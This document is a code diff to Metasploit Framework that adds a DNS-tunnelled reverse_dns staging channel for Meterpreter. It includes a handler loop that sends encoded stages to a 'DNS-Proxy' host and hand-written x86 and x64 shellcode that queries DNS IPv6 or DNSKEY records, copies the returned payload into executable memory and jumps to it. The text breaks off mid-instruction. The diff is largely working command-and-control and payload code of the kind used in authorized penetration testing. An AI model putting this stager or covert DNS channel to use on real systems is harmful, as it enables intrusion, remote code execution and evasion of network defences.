diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index ebef6808f934f..d37c712b074fb 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -93,7 +93,7 @@ def shell_command(cmd) # Send the command to the session's stdin. shell_write(cmd + "\n") - timeo = 20*60 + timeo = 5 etime = ::Time.now.to_f + timeo buff = "" diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 2d04ea4659d7b..fd520d74e5e7d 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -261,7 +261,7 @@ def shell_command(cmd) # Keep reading data until no more data is available or the timeout is # reached. while (::Time.now.to_f < etime) - res = shell_readshell_read(-1, timeout) + res = shell_read(-1, timeout) break unless res timeout = etime - ::Time.now.to_f buff << res diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index 51bcc0b77a240..3bbff9846da4d 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -4,8 +4,8 @@ module Handler ### # -# This module implements the Bind TCP handler. This means that -# it will attempt to connect to a remote host on a given port for a period of +# This module implements the reverse DNS handler. This means that +# it will attempt to connect to a remote DNS-Proxy host on a given port for a period of # time (typically the duration of an exploit) to see if a the payload has # started listening. This can tend to be rather verbose in terms of traffic # and in general it is preferable to use reverse payloads. @@ -17,7 +17,7 @@ module ReverseDns # # Returns the handler specific string representation, in this case - # 'bind_tcp'. + # 'reverse_dns'. # def self.handler_type return "reverse_dns" @@ -41,9 +41,11 @@ def initialize(info = {}) [ Opt::LPORT(4444), OptString.new('DOMAIN', [true, 'DOMAIN', '']), - OptString.new('SERVER_ID', [true, 'SERVER ID', 'pipiska']), - OptAddress.new('RHOST', [true, 'HANDLER BIND IP', '']), + OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']), + OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'DNSKEY', ['IPv6', 'DNSKEY']]), + OptAddress.new('RHOST', [true, 'DNX PROXY IP', '']), OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']), + ], Msf::Handler::ReverseDns) self.conn_threads = [] @@ -80,9 +82,8 @@ def add_handler(opts={}) # Starts monitoring for an outbound connection to become established. # def start_handler - # Maximum number of seconds to run the handler - ctimeout = 5 + ctimeout = 10 if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i @@ -92,11 +93,13 @@ def start_handler rhost = datastore['RHOST'] lport = datastore['LPORT'] server_id = datastore['SERVER_ID'] + req_type = datastore['REQ_TYPE'] # Ignore this if one of the required options is missing return if not rhost return if not lport return if not server_id + return if not req_type # Only try the same host/port combination once phash = rhost + ':' + lport.to_s @@ -104,10 +107,10 @@ def start_handler self.listener_pairs[phash] = true # Start a new handling thread - self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { + self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { client = nil - print_status("Started bind handler") + print_status("Started bind-DNS handler") if (rhost == nil) raise ArgumentError, @@ -115,110 +118,153 @@ def start_handler caller end - stime = Time.now.to_i - - while (stime + ctimeout > Time.now.to_i) - begin - client = Rex::Socket::Tcp.create( - 'PeerHost' => rhost, - 'PeerPort' => lport.to_i, - 'Proxies' => datastore['Proxies'], - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) - rescue Rex::ConnectionRefused - # Connection refused is a-okay - rescue ::Exception - wlog("Exception caught in bind handler: #{$!.class} #{$!}") - end - - break if client - - # Wait a second before trying again - Rex::ThreadSafe.sleep(0.5) - end - - # Valid client connection? - if (client) - # Increment the has connection counter - self.pending_connections += 1 - - # Timeout and datastore options need to be passed through to the client - opts = { - :datastore => datastore, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :timeout => 60*20 - } - - # Start a new thread and pass the client connection - # as the input and output pipe. Client's are expected - # to implement the Stream interface. - conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| - begin - client_copy.put([server_id.length].pack("C") + server_id) - handle_connection(wrap_aes_socket(client_copy), opts) - rescue - elog("Exception raised from BindTcp.handle_connection: #{$!}") + current_name = "STAGE" + loop do + begin + session = nil + + #If last connection has a valid session or died + if (framework.sessions.length > 0) + + framework.sessions.each_sorted do |k| + session = framework.sessions[k] + end + current_name = session.machine_id.to_s + else + current_name = "STAGE" + end + + stime = Time.now.to_i + + if (current_name != "") + + while (stime + ctimeout > Time.now.to_i) + begin + client = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue Rex::ConnectionRefused + # Connection refused is a-okay + + rescue ::Exception + wlog("Exception caught in bind handler: #{$!.class} #{$!}") + end + + break if client + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (client) + + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => 60*60*24, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :timeout => 60*20, + :send_keepalives => false + } + + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("BindDnsHandlerSession", false, client) { |client_copy| + begin + + nosess = false + #SEND SERVER_ID + client_copy.put([server_id.length].pack("C") + server_id) + conn = client_copy + #First connect, stage is needed? (or it not the first session and stage alredy there.. + # or it is a stageless payload) + if (current_name == "STAGE" and self.payload_type != Msf::Payload::Type::Single) + if respond_to? :include_send_uuid + if include_send_uuid + uuid_raw = conn.get_once(16, 1) + if uuid_raw + opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + end + end + end + p = generate_stage(opts) + # Encode the stage if stage encoding is enabled + begin + p = encode_stage(p) + rescue ::RuntimeError + warning_msg = "Failed to stage" + warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost + warning_msg << ": #{$!}" + print_warning warning_msg + if conn.respond_to? :close && !conn.closed? + conn.close + end + nosess = true + end + + # Give derived classes an opportunity to an intermediate state before + # the stage is sent. This gives derived classes an opportunity to + # augment the stage and the process through which it is read on the + # remote machine. + # + # If we don't use an intermediate stage, then we need to prepend the + # stage prefix, such as a tag + if handle_intermediate_stage(conn, p) == false + p = (self.stage_prefix || '') + p + end + + sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage" + sending_msg << " (#{p.length} bytes)" + # The connection should always have a peerhost (even if it's a + # tunnel), but if it doesn't, erroring out here means losing the + # session, so make sure it does, just to be safe. + if conn.respond_to? :peerhost + sending_msg << " to #{conn.peerhost}" + end + print_status(sending_msg) + + # Send the stage + conn.put(p) + end + + #Start the session + handle_connection(conn, opts) + + self.send_keepalives = false + + rescue + elog("Exception raised from BindDns.handle_connection: #{$!}") + end + } + Rex::ThreadSafe.sleep(5) + else + wlog("No connection received before the handler completed") + end + else + + Rex::ThreadSafe.sleep(5) end - } - else - wlog("No connection received before the handler completed") + end end } end - def wrap_aes_socket(sock) - if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" - return sock - end - - socks = Rex::Socket::tcp_socket_pair() - socks[0].extend(Rex::Socket::Tcp) - socks[1].extend(Rex::Socket::Tcp) - - m = OpenSSL::Digest.new('md5') - m.reset - key = m.digest(datastore["AESPassword"] || "") - - Rex::ThreadFactory.spawn('AESEncryption', false) { - c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c1.encrypt - c1.key=key - sock.put([0].pack('N')) - sock.put(c1.iv=c1.random_iv) - buf1 = socks[0].read(4096) - while buf1 and buf1 != "" - sock.put(c1.update(buf1)) - buf1 = socks[0].read(4096) - end - sock.close() - } - - Rex::ThreadFactory.spawn('AESEncryption', false) { - c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c2.decrypt - c2.key=key - iv="" - while iv.length < 16 - iv << sock.read(16-iv.length) - end - c2.iv = iv - buf2 = sock.read(4096) - while buf2 and buf2 != "" - socks[0].put(c2.update(buf2)) - buf2 = sock.read(4096) - end - socks[0].close() - } - - return socks[1] - end + # # Nothing to speak of. diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 6a1812cd62fa3..a59abb3307ebb 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -30,17 +30,21 @@ def self.CPORT(default=nil, required=false, desc="The local client port") def self.LHOST(default=nil, required=true, desc="The listen address") Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ]) end - - # @return [OptAddress] - def self.DOMAIN(default=nil, required=true, desc="The listen address") - Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) + + # @return [OptAddress] + def self.DOMAIN(default=nil, required=true, desc="Domain name") + Msf::OptString.new(__method__.to_s, [ required, desc, default ]) end - - # @return [OptAddress] - def self.NS_IP(default=nil, required=true, desc="The listen address") + + # @return [OptEnum] + def self.REQ_TYPE(default=nil, required=true, desc="Domain name") + Msf::OptEnum.new(__method__.to_s, [ required, desc, 'DNSKEY', ['IPv6', 'DNSKEY']]) + end + # @return [OptAddress] + def self.NS_IP(default=nil, required=true, desc="Name server adddress") Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) end - + # @return [OptPort] def self.LPORT(default=nil, required=true, desc="The listen port") Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) @@ -73,8 +77,9 @@ class << self alias builtin_chost CHOST alias builtin_cport CPORT alias builtin_lhost LHOST - alias builtin_domain DOMAIN - alias builtin_ns_ip NS_IP + alias builtin_domain DOMAIN + alias builtin_ns_ip NS_IP + alias builtin_req_type REQ_TYPE alias builtin_lport LPORT alias builtin_proxies Proxies alias builtin_rhost RHOST @@ -84,8 +89,9 @@ class << self CHOST = CHOST() CPORT = CPORT() LHOST = LHOST() - DOMAIN = DOMAIN() - NS_IP = NS_IP() + DOMAIN = DOMAIN() + NS_IP = NS_IP() + REQ_TYPE = REQ_TYPE() LPORT = LPORT() Proxies = Proxies() RHOST = RHOST() diff --git a/lib/msf/core/payload/multi.rb b/lib/msf/core/payload/multi.rb index 172a7ffab9167..9a61cae64a579 100644 --- a/lib/msf/core/payload/multi.rb +++ b/lib/msf/core/payload/multi.rb @@ -31,7 +31,7 @@ def initialize(info={}) 'Platform' => ['multi'], 'Arch' => ARCH_ALL, 'Stage' => {'Payload' => ''}, - 'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'}, + 'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https dns'}, )) end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 7c2be67a9b846..80f55ab6058e7 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -35,17 +35,14 @@ def transport_config_bind_tcp(opts={}) end def transport_config_reverse_dns(opts={}) + ds = opts[:datastore] || datastore { - scheme: 'dns', - lhost: datastore['DOMAIN'], - nhost: datastore['NS_IP'], - server_id: datastore['SERVER_ID'], - client_id: '0', - timeout: 20*60, - comm_timeout: 60*60, - retry_total: datastore['SessionRetryTotal'].to_i, - retry_wait: 20*60 - } + scheme: 'dns', + lhost: ds['DOMAIN'], + req_type: ds['REQ_TYPE'], + nhost: ds['NS_IP'], + server_id: ds['SERVER_ID'] + }.merge(timeout_config(opts)) end def transport_config_reverse_https(opts={}) @@ -57,18 +54,6 @@ def transport_config_reverse_https(opts={}) config end - def transport_config_reverse_dns(opts={}) - { - scheme: 'dns', - lhost: datastore['DOMAIN'], - nhost: datastore['NS_IP'], - timeout: 20*60, - comm_timeout: 20*60, - retry_total: datastore['SessionRetryTotal'].to_i, - retry_wait: datastore['SessionRetryWait'].to_i - } - end - def transport_config_reverse_http(opts={}) # most cases we'll have a URI already, but in case we don't # we should ask for a connect to happen given that this is diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 98824221e3688..afdd1c82d8c50 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, + 'PayloadCompat' => { 'Convention' => 'sockedi dns handleedi -https', }, 'Stage' => { 'Payload' => "" } )) end diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index fb7dacd03e5ea..1b2e5ddfd55f4 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -18,7 +17,6 @@ module Payload::Windows::ReverseDns include Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -28,9 +26,10 @@ module Payload::Windows::ReverseDns def generate(opts={}) ds = opts[:datastore] || datastore conf = { - ns_server: ds['NS_SERVER'], + ns_server: ds['NS_IP'], domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], + req_type: ds['REQ_TYPE'] || "DNSKEY", retry_count: ds['ReverseConnectRetries'], reliable: false } @@ -44,13 +43,6 @@ def generate(opts={}) generate_reverse_dns(conf) end - # - # By default, we don't want to send the UUID, but we'll send - # for certain payloads if requested. - # - def include_send_uuid - false - end def transport_config(opts={}) transport_config_reverse_dns(opts) @@ -102,16 +94,28 @@ def required_space def asm_reverse_dns(opts={}) retry_count = [opts[:retry_count].to_i, 1000].max - domain = "#{opts[:server_id]}.#{opts[:domain]}" + domain = "#{opts[:server_id]}.#{opts[:domain]}" + req_type = opts[:req_type] ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 - alloc_stack = (domain_length) + (4 - (domain_length %4)) + alloc_stack = (domain_length) + (4 - (domain_length % 4)) reliable = opts[:reliable] + dns_options = 0x248 + request_type = 0x1c + + if req_type == "DNSKEY" + dns_options |= 2 + request_type = 0x30 + end + + # + # Shellcode is not optimize to best size, TODO... + # //TODO optimie shellcode! asm = %Q^ - ; Input: EBP must be the address of 'api_call'. - ;int 3 + ; Input: EBP must be the address of 'api_call'. + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. push 'Dnsa' ; ... @@ -166,7 +170,8 @@ def asm_reverse_dns(opts={}) pop ebp ret 8 ;;;;;;;;;;;;;;;;;;;;;;;;;;;; - + + ;;;;;;;;;;; CALL DNS call_dns: push ebp mov ebp, esp @@ -177,17 +182,17 @@ def asm_reverse_dns(opts={}) dns_loop: mov eax, [esp + 4] test eax, eax - je dns_loop_end ; out of tries 8( + je dns_loop_end ; out of tries 8( mov eax, [esp] test eax, eax - je dns_loop_end ; done, got result + je dns_loop_end ; done, got result push 0 mov eax, [ebp + 4] ; result push eax mov ecx, [ebp + 8] ; NS IP push ecx - push 0x248 - push 0x1c + push #{dns_options} + push #{request_type} mov edx, [ebp] ; domain push edx push #{Rex::Text.block_api_hash('Dnsapi.dll', 'DnsQuery_A')} @@ -219,10 +224,10 @@ def asm_reverse_dns(opts={}) push eax ; pointer to RWX memory (for stage1) push eax ; size of stage1 push eax ; offset - push eax ; * pointer to DNS_RECORD(as result) + push eax ; * pointer to DNS_RECORD(as result) push eax - push eax ; * IP4_ARRAY[1] - push #{retry_count} ; * tries counter + push eax ; * IP4_ARRAY[1] + push #{retry_count} ; * tries counter ;;;;;;;;; main proc @@ -243,7 +248,7 @@ def asm_reverse_dns(opts={}) push eax ; DOMAIN pointer get_header: - dec [esp + 0x0c] ; load tries number + dec [esp + 0x0c] ; load tries number mov eax, [esp + 0x0c] ; decrement test eax, eax je exit_func @@ -254,24 +259,27 @@ def asm_reverse_dns(opts={}) call increment call call_dns test eax, eax - jne parse_end_br + jne parse_end_br mov eax, [esp + 0x18] - add eax, 0x18 - je parse_end_b - sub eax, 18h push eax - mov esi, esp ; pointer to DNS_RECORD + mov esi, esp ; pointer to DNS_RECORD mov [esi], eax ; ESI < -pointer to DNS_RECORD mov ebx, [esi] ; EBX < -current pointer mov edx, [ebx] mov [esi], edx ; save Next IP mov edx, ebx - add edx, 0x18 ; EDX < -IP pointer + ^ + + if req_type == "IPv6" # IPv6 + + asm << %Q^ + + add edx, 0x18 ; EDX < -IP pointer movzx ecx, byte ptr[edx + 1] ; header byte 1 - cmp cl, 0x81 ; If this is header flag + cmp cl, 0x81 ; If this is header flag jne parse_end_b movzx ecx, byte ptr[edx] - cmp cl, 0xfe ; check if fe have data flag in this header + cmp cl, 0xfe ; check if fe have data flag in this header jne parse_end_b get_size: @@ -281,9 +289,30 @@ def asm_reverse_dns(opts={}) cmp eax, 1 jne parse_end_b pop eax - mov eax, [edx + 0xb] ; SIZE of stage 1 + mov eax, [edx + 0xb] ; SIZE of stage 1 mov [esp + 0x20], eax jmp parse_end + + ^ + else # DNSKKEY + asm << %Q^ + + add edx,0x20 + movzx ecx,byte ptr ds:[edx] ; check status + test ecx,ecx ; If this is header flag + jne parse_end_b + + get_size: + pop eax + mov eax, dword ptr ds:[edx + 0x7] ; get size + mov [esp + 0x20], eax + jmp parse_end + ^ + end + + ################### + asm << %Q^ + parse_end_br: xor eax, eax jmp parse_end @@ -293,12 +322,11 @@ def asm_reverse_dns(opts={}) parse_end: test eax, eax je get_header - - + mov eax, esp mov byte ptr[eax + 0x30], '0' ; switch to data mode - ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER mov dword ptr[esp + 0x0c], 50 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GET MEM mov eax, [esp + 0x20] ; get size, that we just recieved @@ -325,35 +353,37 @@ def asm_reverse_dns(opts={}) call call_dns test eax, eax jne parse_end_db2 - mov eax, [esp + 0x18] - add eax, 18h - je parse_end_db - sub eax, 18h - push eax ; ESI <-pointer to DNS_RECORD + push eax ; ESI <-pointer to DNS_RECORD mov eax, [esp + 0x20] push eax ; save current offset + + ^ + + if req_type == "IPv6" #IPv6 + asm << %Q^ + ip_enum: mov eax, [esp+4] test eax, eax je copy_end - mov ebx, [eax] ; EBX <-current pointer + mov ebx, [eax] ; EBX <-current pointer mov [esp + 4], ebx ; save Next IP mov edx, eax - add edx, 0x18 ; EDX <-IP pointer + add edx, 0x18 ; EDX <-IP pointer xor eax, eax movzx ecx, byte ptr[edx + 1] ; header byte 1, size for IP mov al, cl and cl, 0x0f ; apply MASK to get size of data in that IP - cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less + cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less ja parse_end_db movzx ebx, byte ptr[edx] - cmp bl, 0xfe ; if FE, than index offset is 16 + cmp bl, 0xfe ; if FE, than index offset is 16 je index_16 - cmp bl, 0xff ; if FF, than index offset in AL reg + cmp bl, 0xff ; if FF, than index offset in AL reg je index_al jmp parse_end_db ; else - something wrong! @@ -367,7 +397,7 @@ def asm_reverse_dns(opts={}) imul eax, 0x0e copy_ip_as_data: - mov esi, edx ; src - IP addr + mov esi, edx ; src - IP addr add esi, 2 mov ebx, [esp] mov edi, [esp + 0x2c] @@ -379,7 +409,31 @@ def asm_reverse_dns(opts={}) rep movsb ; copy sub [esp + 0x28], eax jmp ip_enum - + ^ + else # DNSKKEY + asm << %Q^ + mov eax, [esp+4] ; EAX <-current pointer + test eax, eax + je copy_end + mov ecx, dword ptr ds:[eax + 0x1c] ; ECX <- current size + test ecx, ecx + je parse_end_db + sub ecx, 3 + add [esp + 0x24], ecx + sub [esp + 0x28], ecx + mov esi, eax + add esi, 0x23 ; ESI <- source + mov ebx, [esp] + mov edi, [esp + 0x2c] + add edi, ebx ; dst - RWX mem + cld + rep movsb ; copy + + ^ + end + + ######################### + asm << %Q^ copy_end: add esp, 0x8 mov eax, [esp + 0x20] @@ -405,7 +459,9 @@ def asm_reverse_dns(opts={}) got_everything: ;;;;;;;;;;;;;;;;;;;;;;;;; - jmp [esp + 0x24] + mov eax, [esp + 0x24] + add eax, 4 + jmp eax ;;;;;;;;;;;;;;;;;;;;;;;;; ^ @@ -441,6 +497,13 @@ def asm_functions_dns() ^ asm end + + # + # Do not transmit the stage over the connection. We handle this via DNS + # + def stage_over_connection? + false + end end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 1c9b79b562219..cbc97265ac360 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -450,11 +450,11 @@ def asm_reverse_http(opts={}) end # - # Do not transmit the stage over the connection. We handle this via HTTPS + # Do not transmit the stage over the connection. We handle this via DNS # - def stage_over_connection? - false - end + #def stage_over_connection? + # false + #end # # Always wait at least 20 seconds for this payload (due to staging delays) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 257e2cc79c8ff..c50f66af96b46 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X64, - 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, + 'PayloadCompat' => { 'Convention' => 'sockrdi dns handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) end diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 5b7db6fceee52..4cf484fe834d6 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -10,7 +9,7 @@ module Msf ### # -# Complex reverse_tcp payload generation for Windows ARCH_x64 +# Complex reverse_dns payload generation for Windows ARCH_X64 # ### @@ -18,7 +17,6 @@ module Payload::Windows::ReverseDns_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -28,11 +26,11 @@ module Payload::Windows::ReverseDns_x64 def generate(opts={}) ds = opts[:datastore] || datastore conf = { - ns_server: ds['NS_SERVER'], - client_id: '0', - server_id: ds['SERVER_ID'], + ns_server: ds['NS_IP'], domain: ds['DOMAIN'], + server_id: ds['SERVER_ID'], retry_count: ds['ReverseConnectRetries'], + req_type: ds['REQ_TYPE'] || "DNSKEY", reliable: false } @@ -42,35 +40,31 @@ def generate(opts={}) conf[:reliable] = true end - generate_reverse_tcp(conf) + generate_reverse_dns(conf) end - # - # By default, we don't want to send the UUID, but we'll send - # for certain payloads if requested. - # - def include_send_uuid - false - end def transport_config(opts={}) - transport_config_reverse_tcp(opts) + transport_config_reverse_dns(opts) end # # Generate and compile the stager # - def generate_reverse_tcp(opts={}) + def generate_reverse_dns(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} + #{asm_functions_dns()} + start: - pop ebp - #{asm_reverse_tcp(opts)} - #{asm_block_recv(opts)} + pop rbp + #{asm_reverse_dns(opts)} + ^ - Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end # @@ -86,8 +80,7 @@ def required_space # Reliability adds some bytes! space += 44 - space += uuid_required_size if include_send_uuid - + # The final estimated size # The final estimated size space end @@ -95,189 +88,405 @@ def required_space # # Generate an assembly stub with the configured feature set and options. # - # @option opts [Integer] :port The port to connect to - # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :domain DOMAIN that wll be used for tunnel + # @option opts [String] :ns_server Optional: NS server, that will be used. # @option opts [Integer] :retry_count Number of retry attempts # - def asm_reverse_tcp(opts={}) - - retry_count = [opts[:retry_count].to_i, 1].max - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first - encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first - - asm = %Q^ - ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server - ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) - - reverse_tcp: - push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. - push 'ws2_' ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call ebp ; LoadLibraryA( "ws2_32" ) - - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} - call ebp ; WSAStartup( 0x0190, &WSAData ); - - set_address: - push #{retry_count} ; retry counter - - create_socket: - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct - - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this - - try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} - call ebp ; connect( s, &sockaddr, 16 ); - - test eax,eax ; non-zero means a failure - jz connected - - handle_connect_failure: - ; decrement our attempt count and try again - dec dword [esi+8] - jnz try_connect - ^ - - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end - - asm << %Q^ - ; this lable is required so that reconnect attempts include - ; the UUID stuff if required. - connected: - ^ - - asm << asm_send_uuid if include_send_uuid - - asm - end - - # - # Generate an assembly stub with the configured feature set and options. - # - # @option opts [Bool] :reliable Whether or not to enable error handling code - # - def asm_block_recv(opts={}) + def asm_reverse_dns(opts={}) + + retry_count = [opts[:retry_count].to_i, 1000].max + domain = "#{opts[:server_id]}.#{opts[:domain]}" + req_type = opts[:req_type] + ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first + domain_length= domain.length + 18 + + alloc_stack = (domain_length) + (8 - (domain_length % 8)) reliable = opts[:reliable] + + dns_options = 0x248 + request_type = 0x1c + + if req_type == "DNSKEY" + dns_options |= 2 + request_type = 0x30 + end + + # + # Shellcode is not optimize to best size, BETA! + # //TODO optimie shellcode! asm = %Q^ - recv: - ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - if reliable + ; Input: RBP must be the address of 'api_call'. + + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + xor rbx, rbx ; stack alignment + push rbx + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + mov r14, 'Dnsapi' ; Push the bytes 'Dnsapi',0,0 onto the stack. + push r14 + mov rcx, rsp + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "Dnsapi" ) + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + call get_eip + + get_eip: + pop rax + jmp start_code + + hostname: + db "7812.000g.0000.0.#{domain}", 0x00 + + ;;;;;;;;;;; INCREMENT DOMAIN + increment: + push rbp + mov rbp, rsp + add rbp, 0x10 + + mov rax, [rbp+8] ; DOMAIN + add rax, [rbp] ; offset + + ; domain inc proc + mov eax, dword ptr[rax] + mov ebx, eax + shl eax, 16 + shr eax, 16 + shr ebx, 16 + inc bh + cmp bh, 0x3a + jnz increment_done + mov bh, 0x30 + inc bl + cmp 